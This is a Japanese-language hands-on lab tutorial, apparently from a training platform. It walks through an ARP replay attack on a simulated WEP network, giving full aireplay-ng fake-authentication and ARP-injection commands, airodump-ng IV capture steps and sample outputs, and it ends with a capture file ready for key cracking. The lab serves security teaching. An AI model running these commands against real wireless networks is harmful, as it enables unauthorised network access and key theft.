ARP リプレイ攻撃で WEP IV キャプチャを高速化

Beginner
オンラインで実践に進む

はじめに

WEP IV キャプチャの高速化に関するこの実験へようこそ。WEP (Wired Equivalent Privacy) は、時代遅れで安全性の低い Wi-Fi セキュリティプロトコルです。その主な弱点は、初期化ベクトル (IV) の使用方法にあります。WEP キーを解読するには、攻撃者はそれぞれユニークな IV を含む大量のデータパケットをキャプチャする必要があります。

ネットワークが数万個の IV をキャプチャするのに十分なトラフィックを生成するのをパッシブに待つと、数時間または数日かかることがあります。これを克服するために、ARP リプレイ攻撃と呼ばれるアクティブな手法を使用できます。この攻撃は、ネットワークから ARP パケットをキャプチャし、それを再注入(または「リプレイ」)することを含みます。これにより、アクセスポイント (AP) は、それぞれ新しい IV を持つ大量の新しいパケットを生成するようにだまされ、数分で必要なデータを収集できるようになります。

この実験では、Aircrack-ng スイートの aireplay-ng ツールを使用して ARP リプレイ攻撃を実行します。ワイヤレスカードはすでにモニターモードに設定されていると仮定します。

aireplay-ng による偽装認証の実行 -1

このステップでは、ターゲットのアクセスポイント (AP) と「偽装認証」を実行します。ネットワークにパケットを注入できるようになる前に、私たちのデバイスは AP と関連付けられている必要があります。偽装認証攻撃は、この関連付けを確立し、AP に私たちが正規のクライアントであると思わせます。

この実験では、以下のシミュレートされたターゲット情報を使用します。

  • インターフェース: wlan0mon
  • ESSID (ネットワーク名): labex-wep
  • BSSID (AP MAC アドレス): 00:11:22:33:44:55
  • 私たちの MAC アドレス: 00:C0:CA:A1:B2:C3

それでは、ターミナルで以下のコマンドを実行して偽装認証を実行してください。-1 は偽装認証攻撃を指定し、0 は再関連付けのタイミングを自動に設定し、-e は ESSID を指定し、-a は BSSID を指定し、-h は私たちのソース MAC アドレスを指定します。

sudo aireplay-ng -1 0 -e labex-wep -a 00:11:22:33:44:55 -h 00:C0:CA:A1:B2:C3 wlan0mon

実際の環境では、進行状況を示す出力が表示されます。成功すると、「Authentication successful」や「Association successful」のようなメッセージが表示されます。実験環境の制約により、コマンドは完全な実際の出力ではない場合がありますが、実行することは重要な最初のステップです。

12:34:56  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
12:34:56  Sending Authentication Request (Open System) [ACK]
12:34:57  Authentication successful
12:34:57  Sending Association Request [ACK]
12:34:57  Association successful :-) (AID: 1)

関連付けが確立されたので、メインの攻撃に進むことができます。

aireplay-ng による ARP リプレイ攻撃の開始 -3

このステップでは、ARP リプレイ攻撃を開始します。この攻撃は、aireplay-ng-3 フラグで指定され、ネットワーク上の ARP パケットをリッスンします。ARP パケットをキャプチャすると、それを再注入して新しい IV のフラッドを生成し始めます。

この攻撃は継続的に実行されるため、別のターミナルウィンドウで実行することが重要です。ターミナルのタブバーにある + アイコンをクリックして、新しいターミナルを開いてください。

新しいターミナルで、以下のコマンドを実行します。-3 フラグは ARP リプレイ攻撃を開始し、-b はターゲットの BSSID (AP) を指定し、-h は私たちのソース MAC アドレス (認証に使用したもの) を指定します。

sudo aireplay-ng -3 -b 00:11:22:33:44:55 -h 00:C0:CA:A1:B2:C3 wlan0mon

コマンドを実行すると、aireplay-ng はリッスンを開始します。出力は最初に ARP パケットを待っていることを示します。

Saving ARP requests in replay_arp-1234-567890.cap
You should also start airodump-ng to capture replies.
Read 0 packets (got 0 ARP requests, 0 ACKs), sent 0 packets...(0 pps)

ツールは現在パッシブにリッスンしています。リプレイプロセスを開始するには、少なくとも 1 つの ARP パケットをキャプチャする必要があります。次のステップでは、進捗状況を監視するための監視ツールを設定します。このターミナルは実行したままにしておいてください。

airodump-ng による IV キャプチャの監視

このステップでは、airodump-ng を使用してネットワークを監視し、さらに重要なことに、ARP リプレイ攻撃の結果を確認します。airodump-ng は、攻撃によって生成されたすべてのパケットをキャプチャし、ファイルに保存します。キャプチャされたデータパケット (IV) の数は、成功の重要な指標です。

このコマンドも、別のターミナルで継続的に実行する必要があります。再度 + アイコンをクリックして、3 番目のターミナルウィンドウを開いてください。

この新しいターミナルで、以下の airodump-ng コマンドを実行します。

  • --bssid: ターゲット AP にキャプチャを集中させます。
  • -c 6: チャネルを 6 に設定します (AP がこのチャネルを使用していると仮定)。
  • --write wep_capture: airodump-ng に、キャプチャされたパケットを wep_capture というプレフィックスを持つファイルに保存するように指示します。
  • wlan0mon: 使用するモニターモードインターフェースです。
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 --write wep_capture wlan0mon

コマンドを実行すると、airodump-ng のインターフェースが表示されます。ターゲットの BSSID の #Data 列に注意してください。この数値は、キャプチャされた IV の数を表します。

 CH  6 ][ Elapsed: 0 s ][ 2023-10-27 10:10

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10        0    0   6  54   WEP  WEP         labex-wep

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

最初は、#Data のカウントはゼロまたは非常に低い値になります。aireplay-ng 攻撃 (ステップ 2) が ARP パケットをキャプチャして注入を開始すると、この数値は非常に速く増加するのを確認できます。このターミナルは実行したままにして、次のステップに進み、プロセスを理解してください。

ARP リプレイが注入可能なトラフィックを生成する方法を理解する

このステップは概念的なものです。新しいコマンドを実行する必要はありません。目標は、3 つのターミナルウィンドウで何が起こっているかを理解することです。

実際のシナリオでは、ネットワーク上の正規のクライアントが ARP リクエストを送信するのを待ちます (例:ネットワークに最初に接続したときや、別のデバイスを見つけようとしたとき)。

  1. キャプチャ: aireplay-ng -3 プロセス (2 番目のターミナル) は、これが起こるのを待っています。ARP パケットをキャプチャすると、その出力が変更されます。パケットを読み取ったこと、および現在保存していることを示します。

    Read 147 packets (got 1 ARP request), sent 0 packets...(0 pps)
    
  2. リプレイ: ARP パケットをキャプチャした直後に、aireplay-ng はそれをネットワークに再注入し始めます。「sent」カウンターが急速に増加するのを確認できます。

    Read 250 packets (got 1 ARP request), sent 86 packets...(102 pps)
    
  3. 生成: AP はこれらのリプレイされた ARP パケットを受信します。受信した各パケットに対して、AP は応答をブロードキャストします。各応答は WEP で暗号化されており、新しく一意の IV が含まれています。

  4. 監視: airodump-ng プロセス (3 番目のターミナル) は、AP からのこれらのすべての応答をキャプチャします。ターゲットネットワークの #Data 列が急上昇し始め、多くの場合、毎秒数百ずつ増加するのを確認できます。

このフィードバックループが攻撃の核心です。キャプチャした 1 つの ARP パケットを使用して AP をだまし、数千の新しいパケットを生成させることで、IV コレクションプロセスを劇的に加速させます。

20,000 IV 以上の収集後に攻撃を停止する

この最終ステップでは、十分な数の IV を収集したら攻撃を停止します。WEP キーをクラックするには、一般的に 20,000 から 40,000 の IV が目標となりますが、キーの強度によってはさらに多くが必要になる場合があります。

この実験では、カウントが 20,000 を超えたら停止します。

airodump-ng ターミナル (開いた 3 番目のターミナル) の #Data 列を監視してください。値が 20,000 を超えたら、キャプチャと攻撃を停止できます。

プロセスを停止するには、実行中の 2 つのターミナル (airodump-ngaireplay-ng) のそれぞれに移動し、Ctrl+C を押します。すべてのパケットがファイルに書き込まれることを確実にするために、まず airodump-ng を停止するのが最善です。

プロセスを停止した後、airodump-ng コマンドは ~/project ディレクトリにいくつかのファイルを生成します。最も重要なのはキャプチャファイルで、.cap で終わります。ファイルを表示して、それが作成されたことを確認しましょう。

ls -l

以下のような出力が表示され、wep_capture-01.cap が存在することを確認できます。

-rw-r--r-- 1 root root 2450000 Oct 27 10:15 wep_capture-01.cap
-rw-r--r-- 1 root root   78123 Oct 27 10:15 wep_capture-01.csv
...

この .cap ファイルには、収集したすべての IV が含まれており、WEP キーをクラックするために aircrack-ng で使用する準備ができています。

まとめ

この実験では、WEP で保護されたネットワークに対する最も効果的な攻撃の 1 つを実行する方法を学びました。

まず、aireplay-ng -1 を使用して偽の認証を実行し、デバイスをターゲットのアクセスポイントに関連付けました。次に、ARP パケットをリッスンしてリプレイする aireplay-ng -3 を使用した ARP リプレイ攻撃という、この実験の核となる部分を開始しました。また、ネットワークを監視し、結果のトラフィックをキャプチャするために airodump-ng をセットアップしました。

この攻撃がどのようにフィードバックループを作成し、AP をだまして 1 分あたり数千の新しいデータパケット (IV) を生成させるかを学びました。最後に、十分な数の IV を収集した後、攻撃を停止し、クラッキングの準備ができた .cap ファイルを作成しました。このアクティブな手法は、ネットワークトラフィックをパッシブに待つよりもはるかに効率的です。次の論理的なステップは、この実験の範囲外ですが、wep_capture-01.cap ファイルで aircrack-ng を使用して WEP キーを回復することです。